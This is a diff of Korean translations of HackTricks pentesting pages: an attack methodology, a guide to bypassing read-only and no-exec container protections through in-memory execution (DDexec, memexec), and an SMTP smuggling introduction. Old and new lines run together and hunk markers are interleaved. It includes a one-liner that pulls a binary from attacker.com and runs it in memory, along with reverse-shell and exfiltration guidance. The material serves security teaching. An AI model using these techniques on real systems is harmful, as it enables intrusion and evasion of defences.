**이 섹션은 내부 테스트를 수행하는 경우에만 적용됩니다.**\ **이 섹션은 내부 테스트를 수행하는 경우에만 적용됩니다.**\
호스트를 공격하기 전에 **네트워크에서 자격 증명을 훔치거나** **데이터를 스니핑**하여 **수동/능동적으로(MitM)** 네트워크 내에서 무엇을 찾을 수 있는지 알아보는 것이 좋습니다. [**Pentesting Network**](pentesting-network/#sniffing)를 읽어보세요. 호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** **데이터를 스니핑**하여 **수동/능동적으로(MitM)** 네트워크 내에서 무엇을 찾을 수 있는지 알아보는 것이 좋습니다. [**Pentesting Network**](pentesting-network/#sniffing)를 읽어보세요.
### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts) ### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts)
@ -59,25 +59,25 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
**이 책에서는 가장 일반적인 서비스에 대한 펜테스트 가이드를 찾을 수 있습니다** (그리고 그렇게 일반적이지 않은 서비스도 포함되어 있습니다). 왼쪽 인덱스에서 **_**PENTESTING**_ **섹션을 검색하세요** (서비스는 기본 포트에 따라 정렬되어 있습니다). **이 책에서는 가장 일반적인 서비스에 대한 펜테스트 가이드를 찾을 수 있습니다** (그리고 그렇게 일반적이지 않은 서비스도 포함되어 있습니다). 왼쪽 인덱스에서 **_**PENTESTING**_ **섹션을 검색하세요** (서비스는 기본 포트에 따라 정렬되어 있습니다).
**특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 특별히 언급하고 싶습니다 (가장 방대하기 때문입니다).**\ **특히** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 특별히 언급하고 싶습니다 (가장 방대하기 때문입니다).**\
또한, [**소프트웨어에서 알려진 취약점을 찾는 방법**](search-exploits.md)에 대한 작은 가이드를 여기에서 찾을 수 있습니다. 또한 [**소프트웨어에서 알려진 취약점을 찾는 방법**](search-exploits.md)에 대한 작은 가이드를 여기에서 찾을 수 있습니다.
**서비스가 인덱스에 없다면, Google에서 다른 튜토리얼을 검색하세요** 그리 **추가해 달라고 알려주세요.** Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트를 수행하세요**, **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**(있다면)으로 시작할 수 있습니다. **목록에 서비스가 없다면, Google에서 다른 튜토리얼을 검색하고** 추가해 달라고 알려주세요. Google에서 **아무것도 찾을 수 없다면**, **자신의 블라인드 펜테스트를 수행하세요**, **서비스에 연결하고, 퍼징하고, 응답을 읽는 것**(있다면)으로 시작할 수 있습니다.
#### 5.1 자동 도구 #### 5.1 자동 도구
**자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 서비스에 대한 펜테스트 노트를 기반으로 합니다.** **자동 취약점 평가**를 수행할 수 있는 여러 도구도 있습니다. **[**Legion**](https://github.com/carlospolop/legion)**을 시도해 보기를 권장합니다. 이 도구는 제가 만든 도구로, 이 책에서 찾을 수 있는 서비스에 대한 펜테스트 노트를 기반으로 합니다.**
#### **5.2- 서비스 브루트 포** #### **5.2- 서비스 브루트 포**
일부 시나리오에서는 **브루트 포스**가 **서비스를 타협하는 데 유용할 수 있습니다**. [**여기에서 다양한 서비스의 브루트 포싱 치트 시트를 찾으세요**](brute-force.md)**.** 일부 시나리오에서는 **브루트 포스**가 **서비스를 타협하는 데 유용할 수 있습니다**. [**여기에서 다양한 서비스의 브루트 포싱 치트 시트를 찾으세요**](brute-force.md)**.**
### 6- [피싱](phishing-methodology/) ### 6- [피싱](phishing-methodology/)
이 시점에서 흥미로운 취약점을 찾지 못했다면, **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요: 이 시점에서 흥미로운 취약점을 찾지 못했다면 **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요:
### **7-** [**쉘 얻기**](reverse-shells/) ### **7-** [**쉘 얻기**](reverse-shells/)
쨌든 피해자에게 **코드를 실행할 방법을 찾았어야 합니다**. 그러면 [시스템 내에서 리버스 쉘을 얻기 위해 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](reverse-shells/). 떻게든 **희생자에서 코드를 실행할 수 있는 방법을 찾아야 합니다**. 그런 다음, [역방향 쉘을 얻기 위해 시스템 내에서 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](reverse-shells/).
특히 Windows에서는 **안티바이러스를 피하는 데 도움이 필요할 수 있습니다**: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\ 특히 Windows에서는 **안티바이러스를 피하는 데 도움이 필요할 수 있습니다**: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\
@ -91,7 +91,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
### **9 -** [**탈출**](exfiltration.md) ### **9 -** [**탈출**](exfiltration.md)
피해자로부터 **데이터를 추출해야 하거나** 심지어 **무언가를 도입해야 할 수도 있습니다** (특권 상승 스크립트와 같은). **여기에서 이러한 목적을 위해 사용할 수 있는** [**일반적인 도구에 대한 게시물을 찾을 수 있습니다**](exfiltration.md)**.** 희생자로부터 **일부 데이터를 추출해야 하거나** 심지어 **무언가를 도입해야 할 수도 있습니다** (특권 상승 스크립트와 같은). **여기에서 이러한 목적에 사용할 수 있는 일반적인 도구에 대한** [**게시물을 찾을 수 있습니다**](exfiltration.md)**.**
### **10- 특권 상승** ### **10- 특권 상승**
@ -99,7 +99,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
박스 내에서 **루트/관리자**가 아니라면, **특권을 상승시키는 방법을 찾아야 합니다**.\ 박스 내에서 **루트/관리자**가 아니라면, **특권을 상승시키는 방법을 찾아야 합니다**.\
여기에서 [**리눅스**](../linux-hardening/privilege-escalation/) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬로 특권을 상승시키는 방법에 대한 가이드를 찾을 수 있습니다.**\ 여기에서 [**리눅스**](../linux-hardening/privilege-escalation/) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬로 특권을 상승시키는 방법에 대한 가이드를 찾을 수 있습니다.**\
또한 **Windows가 어떻게 작동하는지**에 대한 페이지를 확인하세요: 또한 **Windows가 어떻게 작동하는지**에 대한 페이지를 확인하세요:
* [**인증, 자격 증명, 토큰 특권 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * [**인증, 자격 증명, 토큰 특권 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLM 작동 방식**](../windows-hardening/ntlm/) * [**NTLM 작동 방식**](../windows-hardening/ntlm/)
@ -116,7 +116,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
#### **11**.1 - 약탈 #### **11**.1 - 약탈
호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 특권**으로 **다른 기계에 접근할 수 있는지 확인하세요**.\ 호스트 내에서 더 많은 **비밀번호**를 찾을 수 있는지 또는 **사용자의 특권**으로 **다른 기계에 접근할 수 있는지** 확인하세요.\
여기에서 [**Windows에서 비밀번호를 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)을 찾을 수 있습니다. 여기에서 [**Windows에서 비밀번호를 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)을 찾을 수 있습니다.
#### 11.2 - 지속성 #### 11.2 - 지속성
@ -128,7 +128,7 @@ TODO: Windows 및 Linux에서 지속성 게시물 완료
### 12 - 피벗팅 ### 12 - 피벗팅
**수집한 자격 증명**으로 다른 기계에 접근할 수 있거나, **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작) 새로운 네트워크 내에서 피해자가 연결되어 있는 경우.\ **수집한 자격 증명**으로 다른 기계에 접근할 수 있거나, 희생자가 연결된 새로운 네트워크 내에서 **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작하세요).\
이 경우 터널링이 필요할 수 있습니다. [**터널링에 대한 게시물**](tunneling-and-port-forwarding.md)을 여기에서 찾을 수 있습니다.\ 이 경우 터널링이 필요할 수 있습니다. [**터널링에 대한 게시물**](tunneling-and-port-forwarding.md)을 여기에서 찾을 수 있습니다.\
또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 특권 상승 및 자격 증명 덤프를 위한 멋진 팁을 찾을 수 있습니다.\ 또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 특권 상승 및 자격 증명 덤프를 위한 멋진 팁을 찾을 수 있습니다.\
[**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다. [**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
@ -151,7 +151,7 @@ TODO: Windows 및 Linux에서 지속성 게시물 완료
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**패딩 오라클**](../crypto-and-stego/padding-oracle-priv.md) * [**패딩 오라클**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_). 해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).

View file

@ -1,8 +1,8 @@
# FS 보호 우회: 읽기 전용 / 실행 금지 / Distroless # FS 보호 우회: 읽기 전용 / 실행 금지 / Distroless
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -10,12 +10,12 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
@ -25,12 +25,12 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
다음 비디오에서 이 페이지에 언급된 기술을 더 깊이 설명합니다: 다음 비디오에서 이 페이지에 언급된 기술을 더 깊이 설명합니다:
* [**DEF CON 31 - 리눅스 메모리 조작 탐색을 통한 스텔스 및 회피**](https://www.youtube.com/watch?v=poHirez8jk4) * [**DEF CON 31 - 스텔스 및 회피를 위한 리눅스 메모리 조작 탐색**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng 및 인메모리 dlopen()을 한 스텔스 침투 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) * [**DDexec-ng 및 인메모리 dlopen()을 이용한 스텔스 침투 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## 읽기 전용 / 실행 금지 시나리오 ## 읽기 전용 / 실행 금지 시나리오
리눅스 머신이 **읽기 전용 (ro) 파일 시스템 보호**로 마운트되는 경우가 점점 더 많아지고 있습니다. 특히 컨테이너에서 그렇습니다. 이는 ro 파일 시스템으로 컨테이너를 실행하는 것이 `securitycontext`에서 **`readOnlyRootFilesystem: true`**를 설정하는 것만큼 쉽기 때문입니다: 리눅스 머신이 **읽기 전용 (ro) 파일 시스템 보호**로 마운트되는 경우가 점점 더 많아지고 있습니다. 특히 컨테이너에서 그렇습니다. 이는 **`readOnlyRootFilesystem: true`**를 `securitycontext`에 설정하는 것만으로 컨테이너를 실행할 수 있기 때문입니다:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -53,29 +53,29 @@ securityContext:
## 가장 쉬운 우회: 스크립트 ## 가장 쉬운 우회: 스크립트
바이너리를 언급했지만, **인터프리터가 머신 내에 있는 한** 어떤 스크립트도 **실행할 수 있습니다**. 예를 들어 `sh`가 있는 경우 **셸 스크립트**를 실행하거나 `python`이 설치된 경우 **파이썬 스크립트**를 실행할 수 있습니다. 바이너리를 언급했지만, **인터프리터가 머신 내에 있는 한** 어떤 스크립트도 **실행할 수 있습니다**. 예를 들어 `sh`가 있는 경우 **셸 스크립트**를 실행하거나 `python`이 설치된 경우 **파이썬 스크립트**를 실행할 수 있습니다.
그러나 이것만으로는 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행하기에 충분하지 않습니다. 그러나 이것만으로는 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행하기에 충분하지 않습니다.
## 메모리 우회 ## 메모리 우회
바이너리를 실행하고 싶지만 파일 시스템이 이를 허용하지 않는 경우, 가장 좋은 방법은 **메모리에서 실행하는 것**입니다. 왜냐하면 **그곳에서는 보호가 적용되지 않기 때문입니다**. 바이너리를 실행하고 싶지만 파일 시스템이 이를 허용하지 않는 경우, 가장 좋은 방법은 **메모리에서 실행하는 것**입니다. 왜냐하면 **보호가 적용되지 않기 때문입니다**.
### FD + exec 시스템 호출 우회 ### FD + exec 시스템 호출 우회
머신 내**Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고 메모리 파일 설명자(`create_memfd` 시스템 호출)에 저장할 수 있습니다. 이는 이러보호에 의해 보호되지 않으며, 그런 다음 **`exec` 시스템 호출**을 호출하여 **실행할 파일로 fd를 지정**할 수 있습니다. 머신 내에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 메모리 파일 설명자(`create_memfd` 시스템 호출)에 저장한 다음, **`exec` 시스템 호출**을 호출하여 **실행할 파일로 fd를 지정**할 수 있습니다.
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 **바이너리가 압축되고 b64 인코딩된** 스크립트를 지정된 언어로 생성하며, **fd**를 생성하 `create_memfd` 시스템 호출을 호출하고 이를 실행하기 위한 **exec** 시스템 호출을 포함합니다. 이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 **바이너리가 압축되고 b64 인코딩된** 스크립트를 지정된 언어로 생성하며, **fd**를 생성하기 위해 `create_memfd` 시스템 호출을 호출하고 이를 실행하기 위한 **exec** 시스템 호출을 포함합니다.
{% hint style="warning" %} {% hint style="warning" %}
이 방법은 PHP나 Node와 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 왜냐하면 스크립트에서 원시 시스템 호출을 호출하는 **기본 방법이 없기 때문**입니다. 따라서 **메모리 fd**를 생성하기 위해 `create_memfd`를 호출할 수 없습니다. 이 방법은 PHP나 Node와 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 왜냐하면 스크립트에서 원시 시스템 호출을 호출하는 **기본 방법이 없기 때문입니다**. 따라서 바이너리를 저장할 **메모리 fd**를 생성하기 위해 `create_memfd`를 호출할 수 없습니다.
또한 `/dev/shm`에 있는 파일로 **일반 fd**를 생성하는 것도 작동하지 않습니다. 왜냐하면 **실행 금지 보호**가 적용되기 때문에 실행할 수 없기 때문입니다. 또한 `/dev/shm`에 있는 파일로 **정규 fd**를 생성하는 것도 작동하지 않습니다. 왜냐하면 **실행 금지 보호**가 적용되기 때문에 실행할 수 없기 때문입니다.
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) 기술은 **자신의 프로세스 메모리를 수정**할 수 있게 해줍니다. **`/proc/self/mem`**을 덮어쓰는 방식으로 말입니다. [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) 기술은 **자신의 프로세스 메모리를 수정**하여 **`/proc/self/mem`**을 덮어쓰는 방법입니다.
따라서 **프로세스에서 실행되는 어셈블리 코드를 제어**함으로써 **셸코드**를 작성하고 프로세스를 "변형"하여 **임의의 코드를 실행**할 수 있습니다. 따라서 **프로세스에서 실행되는 어셈블리 코드를 제어**함으로써 **셸코드**를 작성하고 프로세스를 "변형"하여 **임의의 코드를 실행**할 수 있습니다.
@ -96,7 +96,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
[**Memexec**](https://github.com/arget13/memexec)는 DDexec의 자연스러운 다음 단계입니다. **다른 바이너리**를 **실행**하고 싶을 때마다 DDexec를 다시 시작할 필요 없이, DDexec 기술을 통해 memexec 셸코드를 실행하고 **이 데몬과 통신하여 새 바이너리를 로드하고 실행**할 수 있습니다. [**Memexec**](https://github.com/arget13/memexec)는 DDexec의 자연스러운 다음 단계입니다. **다른 바이너리**를 **실행**하고 싶을 때마다 DDexec를 다시 시작할 필요 없이, DDexec 기술을 통해 memexec 셸코드를 실행하고 **이 데몬과 통신하여 새 바이너리를 로드하고 실행**할 수 있습니다.
**memexec를 사용하여 PHP 리버스 셸에서 바이너리를 실행하는 방법에 대한 예시는** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 확인할 수 있습니다. **memexec를 사용하여 PHP 리버스 셸에서 바이너리를 실행하는 방법에 대한 예제**는 [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 확인할 수 있습니다.
### Memdlopen ### Memdlopen
@ -112,43 +112,43 @@ Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거하
### 리버스 셸 ### 리버스 셸
Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 `sh` 또는 `bash`를 찾을 수 없을 수도 있습니다**. `ls`, `whoami`, `id`와 같은 바이너리도 찾을 수 없습니다... 시스템에서 일반적으로 실행하는 모든 것입니다. Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 `sh` 또는 `bash`**를 찾을 수 없을 수도 있습니다. `ls`, `whoami`, `id`와 같은 바이너리도 찾을 수 없습니다... 시스템에서 일반적으로 실행하는 모든 것입니다.
{% hint style="warning" %} {% hint style="warning" %}
따라서, **리버스 셸**을 얻거나 **시스템을 열거**할 수 없습니다. 따라서, **리버스 셸**을 얻거나 **시스템을 열거**할 수 없습니다.
{% endhint %} {% endhint %}
그러나 손상된 컨테이너가 예를 들어 플라스크 웹을 실행하고 있다면, 파이썬이 설치되어 있으므로 **파이썬 리버스 셸**을 얻을 수 있습니다. 노드를 실행하고 있다면 Node 리버스 셸을 얻을 수 있으며, 대부분의 **스크립팅 언어**에서도 마찬가지입니다. 그러나 손상된 컨테이너가 예를 들어 플라스크 웹을 실행하고 있다면, 파이썬이 설치되어 있으므로 **파이썬 리버스 셸**을 얻을 수 있습니다. 노드를 실행하고 있다면 노드 리버스 셸을 얻을 수 있으며, 대부분의 **스크립팅 언어**와 마찬가지입니다.
{% hint style="success" %} {% hint style="success" %}
스크립팅 언어를 사용하여 **시스템을 열거**할 수 있습니다. 스크립팅 언어를 사용하여 언어의 기능을 활용하여 **시스템을 열거**할 수 있습니다.
{% endhint %} {% endhint %}
**읽기 전용/실행 금지** 보호가 없다면, 리버스 셸을 악용하여 **파일 시스템에 바이너리를 작성**하고 **실행**할 수 있습니다. **`read-only/no-exec`** 보호가 없다면, 리버스 셸을 악용하여 **파일 시스템에 바이너리를 작성**하고 **실행**할 수 있습니다.
{% hint style="success" %} {% hint style="success" %}
그러나 이러한 종류의 컨테이너에서는 이러한 보호가 일반적으로 존재하지만, **이전 메모리 실행 기술을 사용하여 우회할 수 있습니다**. 그러나 이러한 종류의 컨테이너에서는 이러한 보호가 일반적으로 존재하지만, **이전 메모리 실행 기술을 사용하여 우회할 수 있습니다**.
{% endhint %} {% endhint %}
**RCE 취약점을 악용하여 스크립팅 언어의 리버스 셸을 얻고 메모리에서 바이너리를 실행하는 방법에 대한 예시는** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 확인할 수 있습니다. **RCE 취약점을 악용하여 스크립팅 언어의 리버스 셸을 얻고 메모리에서 바이너리를 실행하는 방법에 대한 예제**는 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 확인할 수 있습니다.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS 해킹 배우고 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP 해킹 배우고 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks 지원하기</summary> <summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요. * **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,20 +17,20 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## Basic Information ## Basic Information
이러한 유형의 취약점은 [**이 게시물에서 원래 발견되었습니다**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) 여기서 이메일을 최종화할 때 SMTP 프로토콜이 해석되는 방식의 불일치를 **악용할 수 있습니다**. 이를 통해 공격자는 합법적인 이메일 본문에 더 많은 이메일을 밀어넣을 수 있으며, 이는 영향을 받는 도메인의 다른 사용자(예: admin@outlook.com) 가장할 수 있게 해주며 SPF와 같은 방어를 우회할 수 있습니다. 이러한 유형의 취약점은 [**이 게시물에서 원래 발견되었습니다**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) 여기서 이메일을 최종화할 때 SMTP 프로토콜이 해석되는 방식의 불일치를 **악용할 수 있습니다**. 이를 통해 공격자는 합법적인 이메일 본문에 더 많은 이메일을 밀어넣을 수 있으며, 이는 영향을 받는 도메인의 다른 사용자(예: admin@outlook.com) 가장할 수 있게 해주며 SPF와 같은 방어를 우회할 수 있습니다.
### Why ### Why
이는 SMTP 프로토콜에서 이메일로 전송될 **메시지의 데이터**가 사용자(공격자)에 의해 제어되기 때문입니다. 이 사용자는 파서의 차이를 악용하여 수신자에게 추가 이메일을 밀어넣는 특별히 조작된 데이터를 보낼 수 있습니다. 원래 게시물의 이 그림 예제를 살펴보세요: 이는 SMTP 프로토콜에서 이메일로 전송될 **메시지의 데이터**가 사용자(공격자)에 의해 제어되기 때문입니다. 이 사용자는 파서의 차이를 악용하여 수신자에게 추가 이메일을 밀어넣는 특별히 조작된 데이터를 보낼 수 있습니다. 원래 게시물의 이 그림 예제를 살펴보세요:
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
### How ### How
이 취약점을 악용하기 위해 공격자는 **아웃바운드 SMTP 서버가 단지 1개의 이메일로 생각하는 데이터를 보내야 하지만 인바운드 SMTP 서버는 여러 이메일이 있다고 생각야 합니다**. 이 취약점을 악용하기 위해 공격자는 **아웃바운드 SMTP 서버가 단지 1개의 이메일로 생각하지만 인바운드 SMTP 서버는 여러 이메일이 있다고 생각하는 데이터를 보내야 합니다**.
연구자들은 서로 다른 **인바운드 서버가 이메일 메시지의 데이터 끝을 나타내는 서로 다른 문자를 고려한다는 것을 발견했습니다**. 아웃바운드 서버는 그렇지 않습니다.\ 연구자들은 서로 다른 **인바운드 서버가 이메일 메시지의 데이터 끝으로 서로 다른 문자를 고려한다는 것을 발견했습니다**. 아웃바운드 서버는 그렇지 않습니다.\
